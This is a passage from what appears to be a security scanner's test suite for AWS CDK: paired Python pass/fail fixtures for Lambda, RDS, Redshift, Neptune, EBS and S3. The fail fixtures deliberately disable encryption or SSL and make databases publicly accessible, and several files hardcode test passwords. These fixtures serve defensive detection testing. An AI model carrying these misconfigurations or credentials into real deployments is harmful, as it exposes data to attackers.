    "content": "from aws_cdk import core\nfrom aws_cdk import aws_lambda as _lambda\nfrom aws_cdk import aws_sam as sam\nclass MyLambdaFunctionStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Lambda function\n        my_lambda_function = _lambda.Function(\n            self, 'MyLambdaFunction',\n            runtime=_lambda.Runtime.PYTHON_3_8,\n            handler='index.handler',\n            code=_lambda.Code.from_asset('path/to/your/function/code'),\n            environment={\n                'MY_VARIABLE_1': 'Value1',\n                'MY_VARIABLE_2': 'Value2'\n            },\n            kms_key=_lambda.Key.from_key_arn(self, 'MyKmsKey', 'arn:aws:kms:region:account-id:key/key-id')\n        )\n\napp = core.App()\nMyLambdaFunctionStack(app, \"MyLambdaFunctionStack\")\napp.synth()\n\n\nclass MyServerlessFunctionStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define SAM Function\n        my_sam_function = sam.CfnFunction(\n            self, 'MySAMFunction',\n            handler='index.handler',\n            runtime='python3.9',\n            code_uri='./path/to/your/function/code',\n            environment={\n                'MY_VARIABLE_1': 'Value1',\n                'MY_VARIABLE_2': 'Value2'\n            },\n            kms_key_arn='arn:aws:kms:region:account-id:key/key-id'\n        )\n\napp = core.App()\nMyServerlessFunctionStack(app, \"MyServerlessFunctionStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/LambdaFunctionLevelConcurrentExecutionLimit/fail__2__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk.aws_lambda import Function, Runtime, Code\nfrom aws_cdk.aws_sam import CfnFunction\n\nclass MyLambdaStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        my_lambda_function = Function(\n            self,\n            \"MyLambdaFunction\",\n            runtime=Runtime.PYTHON_3_8,  # Set the Lambda function's runtime\n            handler=\"index.handler\",  # Specify the Lambda handler\n            code=Code.from_asset(\"path/to/your/code\"),  # Define the code location\n            function_name=\"my-function-name\",  # Optionally set the function name\n            role=my_lambda_execution_role,  # Provide an IAM role for the function\n            timeout=core.Duration.seconds(10),  # Set the function timeout\n        )\nclass MyLambdaStack2(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        my_lambda_function = CfnFunction(\n            self,\n            \"MyLambdaFunction\",\n            handler=\"index.handler\",  # Specify the Lambda handler\n            runtime=\"nodejs14.x\",  # Set the Lambda function's runtime\n            code_uri=\"./my-code\",  # Specify the location of your code\n            function_name=\"my-function-name\",  # Optionally set the function name\n            role=my_lambda_execution_role,  # Provide an IAM role for the function\n            timeout=10,  # Set the function timeout\n        )\n\n        # You can add other configurations and permissions for your Lambda function here\n\n"
  },
  {
    "path": "cdk_integration_tests/src/python/LambdaFunctionLevelConcurrentExecutionLimit/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk.aws_lambda import Function, Runtime, Code\nfrom aws_cdk.aws_sam import CfnFunction\n\nclass MyLambdaStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        my_lambda_function = Function(\n            self,\n            \"MyLambdaFunction\",\n            runtime=Runtime.PYTHON_3_8,  # Set the Lambda function's runtime\n            handler=\"index.handler\",  # Specify the Lambda handler\n            code=Code.from_asset(\"path/to/your/code\"),  # Define the code location\n            function_name=\"my-function-name\",  # Optionally set the function name\n            role=my_lambda_execution_role,  # Provide an IAM role for the function\n            timeout=core.Duration.seconds(10),  # Set the function timeout\n            reserved_concurrent_executions=5\n        )\nclass MyLambdaStack2(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        my_lambda_function = CfnFunction(\n            self,\n            \"MyLambdaFunction\",\n            handler=\"index.handler\",  # Specify the Lambda handler\n            runtime=\"nodejs14.x\",  # Set the Lambda function's runtime\n            code_uri=\"./my-code\",  # Specify the location of your code\n            function_name=\"my-function-name\",  # Optionally set the function name\n            role=my_lambda_execution_role,  # Provide an IAM role for the function\n            timeout=10,  # Set the function timeout\n            reserved_concurrent_executions=5\n        )\n\n        # You can add other configurations and permissions for your Lambda function here\n\n"
  },
  {
    "path": "cdk_integration_tests/src/python/LambdaInVPC/fail__2__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_lambda as _lambda\nfrom aws_cdk import aws_ec2 as ec2\nfrom aws_cdk import aws_sam as sam\n\nclass MyLambdaStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a Lambda function in the VPC\n        my_lambda_function = _lambda.Function(\n            self,\n            \"MyLambdaFunction\",\n            runtime=_lambda.Runtime.PYTHON_3_8,\n            handler=\"index.handler\",\n            code=_lambda.Code.from_asset(\"path/to/your/code\"),\n            function_name=\"my-function-name\",\n            security_group=my_vpc.vpc_default_security_group,\n            allow_public_subnet=False,  # Set to True if you want public subnets\n        )\n\nclass MySAMLambdaStack2(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a custom VPC\n        my_vpc = ec2.Vpc(\n            self,\n            \"MyVPC\",\n            max_azs=2,  # Set the number of Availability Zones as needed\n        )\n\n        # Define the Serverless::Function within the VPC\n        my_sam_lambda_function = sam.CfnFunction(\n            self,\n            \"MySAMLambdaFunction\",\n            handler=\"index.handler\",\n            runtime=\"nodejs14.x\",\n            code_uri=\"./my-code\",\n        )\n\n"
  },
  {
    "path": "cdk_integration_tests/src/python/LambdaInVPC/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_lambda as _lambda\nfrom aws_cdk import aws_ec2 as ec2\nfrom aws_cdk import aws_sam as sam\n\nclass MyLambdaStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a VPC\n        my_vpc = ec2.Vpc(\n            self,\n            \"MyVPC\",\n            max_azs=2,  # Set the number of Availability Zones as needed\n        )\n\n        # Create a Lambda function in the VPC\n        my_lambda_function = _lambda.Function(\n            self,\n            \"MyLambdaFunction\",\n            runtime=_lambda.Runtime.PYTHON_3_8,\n            handler=\"index.handler\",\n            code=_lambda.Code.from_asset(\"path/to/your/code\"),\n            function_name=\"my-function-name\",\n            vpc=my_vpc,\n            security_group=my_vpc.vpc_default_security_group,\n            allow_public_subnet=False,  # Set to True if you want public subnets\n        )\n\nclass MySAMLambdaStack2(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a custom VPC\n        my_vpc = ec2.Vpc(\n            self,\n            \"MyVPC\",\n            max_azs=2,  # Set the number of Availability Zones as needed\n        )\n\n        # Define the Serverless::Function within the VPC\n        my_sam_lambda_function = sam.CfnFunction(\n            self,\n            \"MySAMLambdaFunction\",\n            handler=\"index.handler\",\n            runtime=\"nodejs14.x\",\n            code_uri=\"./my-code\",\n            function_name=\"my-function-name\",\n            vpc_config=sam.CfnFunction.VpcConfigProperty(\n                security_group_ids=[my_vpc.vpc_default_security_group],\n                subnet_ids=my_vpc.select_subnets(\n                    subnet_group_name=\"your-subnet-group-name\"\n                ).subnet_ids,\n            ),\n        )\n\n"
  },
  {
    "path": "cdk_integration_tests/src/python/LaunchConfigurationEBSEncryption/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_autoscaling as autoscaling\n\nclass MyAutoScalingLaunchConfig(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Launch Configuration\n        launch_config = autoscaling.CfnLaunchConfiguration(\n            self, 'MyLaunchConfiguration',\n            image_id='ami-12345678',  # Replace with your desired AMI ID\n            instance_type='t2.micro',  # Replace with your desired instance type\n            block_device_mappings=[{\n                'ebs': {\n                    'encrypted': False\n                }\n            }]\n            # Other properties for your Launch Configuration\n        )\n\napp = core.App()\nMyAutoScalingLaunchConfig(app, \"MyAutoScalingLaunchConfig\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/LaunchConfigurationEBSEncryption/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_autoscaling as autoscaling\n\nclass MyAutoScalingLaunchConfig(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Launch Configuration\n        launch_config = autoscaling.CfnLaunchConfiguration(\n            self, 'MyLaunchConfiguration',\n            image_id='ami-12345678',  # Replace with your desired AMI ID\n            instance_type='t2.micro',  # Replace with your desired instance type\n            block_device_mappings=[{\n                'deviceName': '/dev/xvda',\n                'ebs': {\n                    'encrypted': True\n                }\n            }]\n            # Other properties for your Launch Configuration\n        )\n\napp = core.App()\nMyAutoScalingLaunchConfig(app, \"MyAutoScalingLaunchConfig\")\napp.synth()\n\nclass MyAutoScalingLaunchConfig(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Launch Configuration\n        launch_config = autoscaling.CfnLaunchConfiguration(\n            self, 'MyLaunchConfiguration',\n            image_id='ami-12345678',  # Replace with your desired AMI ID\n            instance_type='t2.micro',  # Replace with your desired instance type\n            block_device_mappings=[{\n                'deviceName': '/dev/xvda',\n            }]\n            # Other properties for your Launch Configuration\n        )\n\napp = core.App()\nMyAutoScalingLaunchConfig(app, \"MyAutoScalingLaunchConfig\")\napp.synth()\n\n"
  },
  {
    "path": "cdk_integration_tests/src/python/NeptuneClusterStorageEncrypted/fail__2__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_neptune as neptune\n\nclass MyNeptuneStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a Neptune DB cluster with storage encryption enabled\n        neptune_cluster = neptune.CfnDBCluster(\n            self,\n            \"MyNeptuneCluster\",\n            engine=\"neptune\",\n            db_cluster_identifier=\"my-neptune-cluster\",\n            master_username=\"admin\",\n            master_user_password=\"mypassword\", # checkov:skip=CKV_SECRET_6 test secret\n            storage_encrypted=False,  # Enable storage encryption\n            port=8182,  # Specify the port as needed\n            availability_zones=[\"us-east-1a\", \"us-east-1b\"],  # Specify the availability zones\n        )\n\nclass MyNeptuneStack2(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a Neptune DB cluster with storage encryption enabled\n        neptune_cluster = neptune.DatabaseCluster(\n            self,\n            \"MyNeptuneCluster\",\n            engine=neptune.DatabaseClusterEngine.NEPTUNE,\n            master_user=neptune.Login(\n                username=\"admin\",\n                password=\"mypassword\", # checkov:skip=CKV_SECRET_6 test secret\n            ),\n            default_database_name=\"mydb\",\n            removal_policy=core.RemovalPolicy.DESTROY,  # Set the removal policy as needed\n            vpc=your_vpc,  # Specify the VPC where the cluster should be deployed\n            instances=1,  # Specify the number of instances\n        )\n\n"
  },
  {
    "path": "cdk_integration_tests/src/python/NeptuneClusterStorageEncrypted/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_neptune as neptune\n\nclass MyNeptuneStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a Neptune DB cluster with storage encryption enabled\n        neptune_cluster = neptune.CfnDBCluster(\n            self,\n            \"MyNeptuneCluster\",\n            engine=\"neptune\",\n            db_cluster_identifier=\"my-neptune-cluster\",\n            master_username=\"admin\",\n            master_user_password=\"mypassword\", # checkov:skip=CKV_SECRET_6 test secret\n            storage_encrypted=True,  # Enable storage encryption\n            port=8182,  # Specify the port as needed\n            availability_zones=[\"us-east-1a\", \"us-east-1b\"],  # Specify the availability zones\n        )\n\nclass MyNeptuneStack2(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a Neptune DB cluster with storage encryption enabled\n        neptune_cluster = neptune.DatabaseCluster(\n            self,\n            \"MyNeptuneCluster\",\n            engine=neptune.DatabaseClusterEngine.NEPTUNE,\n            master_user=neptune.Login(\n                username=\"admin\",\n                password=\"mypassword\", # checkov:skip=CKV_SECRET_6 test secret\n            ),\n            default_database_name=\"mydb\",\n            storage_encrypted=True,  # Enable storage encryption\n            removal_policy=core.RemovalPolicy.DESTROY,  # Set the removal policy as needed\n            vpc=your_vpc,  # Specify the VPC where the cluster should be deployed\n            instances=1,  # Specify the number of instances\n        )\n\n"
  },
  {
    "path": "cdk_integration_tests/src/python/RDSEnhancedMonitorEnabled/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_rds as rds\n\nclass RDSStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an RDS DB instance with a custom MonitoringInterval\n        rds_instance = rds.DatabaseInstance(\n            self,\n            \"MyRDSInstance\",\n            engine=rds.DatabaseInstanceEngine.mysql(\n                version=rds.MysqlEngineVersion.VER_8_0\n            ),\n            instance_type=core.Fn.select(0, core.Fn.split(\" \", \"db.m5.large\")),\n            allocated_storage=20,\n            max_allocated_storage=100,\n            vpc_subnets={\n                \"subnetType\": core.Fn.select(0, core.Fn.split(\",\", \"private\")),\n            },\n            storage_type=rds.StorageType.GP2,\n            removal_policy=core.RemovalPolicy.DESTROY,\n        )\n\napp = core.App()\nRDSStack(app, \"RDSStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/RDSEnhancedMonitorEnabled/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_rds as rds\n\nclass RDSStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an RDS DB instance with a custom MonitoringInterval\n        rds_instance = rds.DatabaseInstance(\n            self,\n            \"MyRDSInstance\",\n            engine=rds.DatabaseInstanceEngine.mysql(\n                version=rds.MysqlEngineVersion.VER_8_0\n            ),\n            instance_type=core.Fn.select(0, core.Fn.split(\" \", \"db.m5.large\")),\n            monitoring_interval=60,  # Set MonitoringInterval to 60 seconds\n            allocated_storage=20,\n            max_allocated_storage=100,\n            vpc_subnets={\n                \"subnetType\": core.Fn.select(0, core.Fn.split(\",\", \"private\")),\n            },\n            storage_type=rds.StorageType.GP2,\n            removal_policy=core.RemovalPolicy.DESTROY,\n        )\n\napp = core.App()\nRDSStack(app, \"RDSStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/RDSMultiAZEnabled/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_rds as rds\n\nclass MyDBInstanceStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define RDS DB instance\n        my_db_instance = rds.CfnDBInstance(\n            self, 'MyDBInstance',\n            engine='mysql',  # Change this to your desired engine type\n            db_instance_class='db.t2.micro',\n            allocated_storage=20,\n            multi_az=False,\n            # Other properties for your DB instance\n        )\n\napp = core.App()\nMyDBInstanceStack(app, \"MyDBInstanceStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/RDSMultiAZEnabled/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_rds as rds\n\nclass MyDBInstanceStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define RDS DB instance\n        my_db_instance = rds.CfnDBInstance(\n            self, 'MyDBInstance',\n            engine='mysql',  # Change this to your desired engine type\n            db_instance_class='db.t2.micro',\n            allocated_storage=20,\n            multi_az=True,\n            # Other properties for your DB instance\n        )\n\napp = core.App()\nMyDBInstanceStack(app, \"MyDBInstanceStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/RDSPubliclyAccessible/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_rds as rds\n\nclass RDSStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an RDS DB instance with PubliclyAccessible set to True\n        rds_instance = rds.DatabaseInstance(\n            self,\n            \"MyRDSInstance\",\n            engine=rds.DatabaseInstanceEngine.mysql(\n                version=rds.MysqlEngineVersion.VER_8_0\n            ),\n            instance_type=core.Fn.select(0, core.Fn.split(\" \", \"db.m5.large\")),\n            publicly_accessible=True,  # Set PubliclyAccessible to True\n            allocated_storage=20,\n            max_allocated_storage=100,\n            vpc_subnets={\n                \"subnetType\": core.Fn.select(0, core.Fn.split(\",\", \"private\")),\n            },\n            storage_type=rds.StorageType.GP2,\n            removal_policy=core.RemovalPolicy.DESTROY,\n        )\n\napp = core.App()\nRDSStack(app, \"RDSStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/RDSPubliclyAccessible/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_rds as rds\n\nclass RDSStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an RDS DB instance with PubliclyAccessible set to false\n        rds_instance = rds.DatabaseInstance(\n            self,\n            \"MyRDSInstance\",\n            engine=rds.DatabaseInstanceEngine.mysql(\n                version=rds.MysqlEngineVersion.VER_8_0\n            ),\n            instance_type=core.Fn.select(0, core.Fn.split(\" \", \"db.m5.large\")),\n            publicly_accessible=False,  # Set PubliclyAccessible to false\n            allocated_storage=20,\n            max_allocated_storage=100,\n            vpc_subnets={\n                \"subnetType\": core.Fn.select(0, core.Fn.split(\",\", \"private\")),\n            },\n            storage_type=rds.StorageType.GP2,\n            removal_policy=core.RemovalPolicy.DESTROY,\n        )\n\napp = core.App()\nRDSStack(app, \"RDSStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/RedShiftSSL/fail__2__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_redshift as redshift\n\nclass MyRedshiftClusterParameterGroupStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Redshift Cluster Parameter Group with require_ssl parameter\n        redshift.CfnClusterParameterGroup(\n            self, 'MyRedshiftClusterParameterGroup',\n            description='My Redshift Parameter Group',\n            parameter_group_family='redshift-1.0',\n            parameters=[\n                redshift.CfnClusterParameterGroup.ParameterProperty(\n                    parameter_name='require_ssl',\n                    parameter_value='false'\n                )\n                # Add other parameters if needed\n            ]\n        )\n\napp = core.App()\nMyRedshiftClusterParameterGroupStack(app, \"MyRedshiftClusterParameterGroupStack\")\napp.synth()\n\nclass MyRedshiftClusterParameterGroupStack2(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Redshift Cluster Parameter Group with require_ssl parameter\n        redshift.CfnClusterParameterGroup(\n            self, 'MyRedshiftClusterParameterGroup',\n            description='My Redshift Parameter Group',\n            parameter_group_family='redshift-1.0',\n            parameters=[\n                redshift.CfnClusterParameterGroup.ParameterProperty(\n                    parameter_name='abc',\n                    parameter_value='true'\n                )\n                # Add other parameters if needed\n            ]\n        )\n\napp = core.App()\nMyRedshiftClusterParameterGroupStack2(app, \"MyRedshiftClusterParameterGroupStack2\")\napp.synth()"
  },
  {
    "path": "cdk_integration_tests/src/python/RedShiftSSL/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_redshift as redshift\n\nclass MyRedshiftClusterParameterGroupStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Redshift Cluster Parameter Group with require_ssl parameter\n        redshift.CfnClusterParameterGroup(\n            self, 'MyRedshiftClusterParameterGroup',\n            description='My Redshift Parameter Group',\n            parameter_group_family='redshift-1.0',\n            parameters=[\n                redshift.CfnClusterParameterGroup.ParameterProperty(\n                    parameter_name='require_ssl',\n                    parameter_value='true'\n                )\n                # Add other parameters if needed\n            ]\n        )\n\napp = core.App()\nMyRedshiftClusterParameterGroupStack(app, \"MyRedshiftClusterParameterGroupStack\")\napp.synth()\n\n\nclass MyRedshiftClusterParameterGroupStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Redshift Cluster Parameter Group with require_ssl parameter\n        redshift.CfnClusterParameterGroup(\n            self, 'MyRedshiftClusterParameterGroup',\n            description='My Redshift Parameter Group',\n            parameter_group_family='redshift-1.0',\n            parameters=[\n                redshift.CfnClusterParameterGroup.ParameterProperty(\n                    parameter_value='true',\n                    parameter_name='require_ssl'\n                )\n                # Add other parameters if needed\n            ]\n        )\n\napp = core.App()\nMyRedshiftClusterParameterGroupStack(app, \"MyRedshiftClusterParameterGroupStack\")\napp.synth()\n\n\nclass MyRedshiftClusterParameterGroupStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Redshift Cluster Parameter Group with require_ssl parameter\n        redshift.CfnClusterParameterGroup(\n            self, 'MyRedshiftClusterParameterGroup',\n            description='My Redshift Parameter Group',\n            parameter_group_family='redshift-1.0',\n            parameters=[\n                {'parameterName': 'require_ssl','parameterValue': 'true'}\n                # Add other parameters if needed\n            ]\n        )\n\napp = core.App()\nMyRedshiftClusterParameterGroupStack(app, \"MyRedshiftClusterParameterGroupStack\")\napp.synth()\n\n\nclass MyRedshiftClusterParameterGroupStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Redshift Cluster Parameter Group with require_ssl parameter\n        redshift.CfnClusterParameterGroup(\n            self, 'MyRedshiftClusterParameterGroup',\n            description='My Redshift Parameter Group',\n            parameter_group_family='redshift-1.0',\n            parameters=[\n                {'parameterValue': 'true','parameterName': 'require_ssl'}\n                # Add other parameters if needed\n            ]\n        )\n\napp = core.App()\nMyRedshiftClusterParameterGroupStack(app, \"MyRedshiftClusterParameterGroupStack\")\napp.synth()\n\n\n"
  },
  {
    "path": "cdk_integration_tests/src/python/RedshiftClusterEncryption/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_redshift as redshift\n\nclass RedshiftClusterStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an Amazon Redshift cluster\n        redshift_cluster = redshift.CfnCluster(\n            self,\n            \"MyRedshiftCluster\",\n            cluster_identifier=\"my-redshift-cluster\",\n            master_username=\"admin\",\n            master_user_password=\"MySecurePassword123\",  # checkov:skip=CKV_SECRET_6 test secret\n            node_type=\"dc2.large\",\n            cluster_type=\"single-node\",\n        )\n\napp = core.App()\nRedshiftClusterStack(app, \"RedshiftClusterStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/RedshiftClusterEncryption/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_redshift as redshift\n\nclass RedshiftClusterStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an Amazon Redshift cluster\n        redshift_cluster = redshift.CfnCluster(\n            self,\n            \"MyRedshiftCluster\",\n            cluster_identifier=\"my-redshift-cluster\",\n            master_username=\"admin\",\n            master_user_password=\"MySecurePassword123\",  # checkov:skip=CKV_SECRET_6 test secret\n            node_type=\"dc2.large\",\n            cluster_type=\"single-node\",\n            encrypted=True  # Enable encryption\n        )\n\napp = core.App()\nRedshiftClusterStack(app, \"RedshiftClusterStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/RedshiftClusterLogging/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_redshift as redshift\n\nclass MyRedshiftClusterStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Redshift Cluster with logging properties\n        redshift.CfnCluster(\n            self, 'MyRedshiftCluster',\n            cluster_type='single-node',  # Or 'multi-node' based on your configuration\n            db_name='mydb',\n            master_username='admin',\n            master_user_password='password',\n            # Other properties as needed for your Redshift cluster\n        )\n\napp = core.App()\nMyRedshiftClusterStack(app, \"MyRedshiftClusterStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/RedshiftClusterLogging/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_redshift as redshift\n\nclass MyRedshiftClusterStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Redshift Cluster with logging properties\n        redshift.CfnCluster(\n            self, 'MyRedshiftCluster',\n            cluster_type='single-node',  # Or 'multi-node' based on your configuration\n            db_name='mydb',\n            master_username='admin',\n            master_user_password='password',\n            logging_properties=redshift.CfnCluster.LoggingPropertiesProperty(\n                bucket_name='my-redshift-logs-bucket'  # Replace with your S3 bucket name\n            )\n            # Other properties as needed for your Redshift cluster\n        )\n\napp = core.App()\nMyRedshiftClusterStack(app, \"MyRedshiftClusterStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/RedshiftClusterPubliclyAccessible/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_redshift as redshift\n\nclass RedshiftStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a Redshift cluster with PubliclyAccessible set to true\n        redshift_cluster = redshift.CfnCluster(\n            self,\n            \"MyRedshiftCluster\",\n            cluster_identifier=\"my-redshift-cluster\",\n            node_type=\"dc2.large\",\n            publicly_accessible=True,  # Set PubliclyAccessible to true\n            master_username=\"admin\",\n            master_user_password=\"MyPassword123\", # checkov:skip=CKV_SECRET_6 test secret\n        )\n\napp = core.App()\nRedshiftStack(app, \"RedshiftStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/RedshiftClusterPubliclyAccessible/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_redshift as redshift\n\nclass RedshiftStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a Redshift cluster with PubliclyAccessible set to False\n        redshift_cluster = redshift.CfnCluster(\n            self,\n            \"MyRedshiftCluster\",\n            cluster_identifier=\"my-redshift-cluster\",\n            node_type=\"dc2.large\",\n            publicly_accessible=False,  # Set PubliclyAccessible to False\n            master_username=\"admin\",\n            master_user_password=\"MyPassword123\", # checkov:skip=CKV_SECRET_6 test secret\n        )\n\napp = core.App()\nRedshiftStack(app, \"RedshiftStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/RedshiftInEc2ClassicMode/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_redshift as redshift\n\nclass MyRedshiftClusterStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Redshift Cluster with a specific Cluster Subnet Group name\n        redshift.CfnCluster(\n            self, 'MyRedshiftCluster',\n        )\n\napp = core.App()\nMyRedshiftClusterStack(app, \"MyRedshiftClusterStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/RedshiftInEc2ClassicMode/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_redshift as redshift\n\nclass MyRedshiftClusterStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Redshift Cluster with a specific Cluster Subnet Group name\n        redshift.CfnCluster(\n            self, 'MyRedshiftCluster',\n            cluster_subnet_group_name='my-redshift-subnet-group',  # Replace with your Cluster Subnet Group name\n            # Other properties for your Redshift Cluster\n        )\n\napp = core.App()\nMyRedshiftClusterStack(app, \"MyRedshiftClusterStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/S3BlockPublicACLs/fail__2__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_s3 as s3\n\nclass S3BucketWithBlockPublicAclsStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        s3.Bucket(\n            self,\n            \"MyBucket\",\n            block_public_access=s3.BlockPublicAccess(block_public_acls=False)\n        )\n\napp = core.App()\nS3BucketWithBlockPublicAclsStack(app, \"S3BucketWithBlockPublicAclsStack\")\napp.synth()\n\nclass S3BucketWithBlockPublicAclsStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        s3.CfnBucket(\n            self,\n            \"MyBucket\",\n            public_access_block_configuration={\n                \"blockPublicAcls\": False,\n                \"blockPublicPolicy\": True,\n                \"ignorePublicAcls\": True,\n                \"restrictPublicBuckets\": True\n            }\n        )\n\napp = core.App()\nS3BucketWithBlockPublicAclsStack(app, 